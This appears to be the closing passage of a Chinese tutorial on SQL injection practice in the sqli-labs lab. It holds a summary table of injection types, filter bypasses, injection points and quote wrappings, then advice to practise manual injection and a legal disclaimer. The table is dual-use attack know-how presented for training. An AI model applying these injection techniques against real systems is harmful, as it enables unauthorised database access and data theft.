| GET/POST | 联合、报错、布尔盲注、时间盲注、堆叠注入、二次注入、sqlmap | base64编码、转义、关键字过滤、限制类型 | id、Referer、User-Agent、Cookie | ‘$id’ (‘$id’) “$id” (“$id”) (($id)) ((‘$id’)) $id |
其实真实的实战环境比sqli-labs靶场更加复杂,这里的操作只是基础中的基础,实战中还需要n次的尝试才能成功发现漏洞,更好的规避风险,不妨多练习几遍,手工注入方式往往会更加有效。
免责声明:
1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。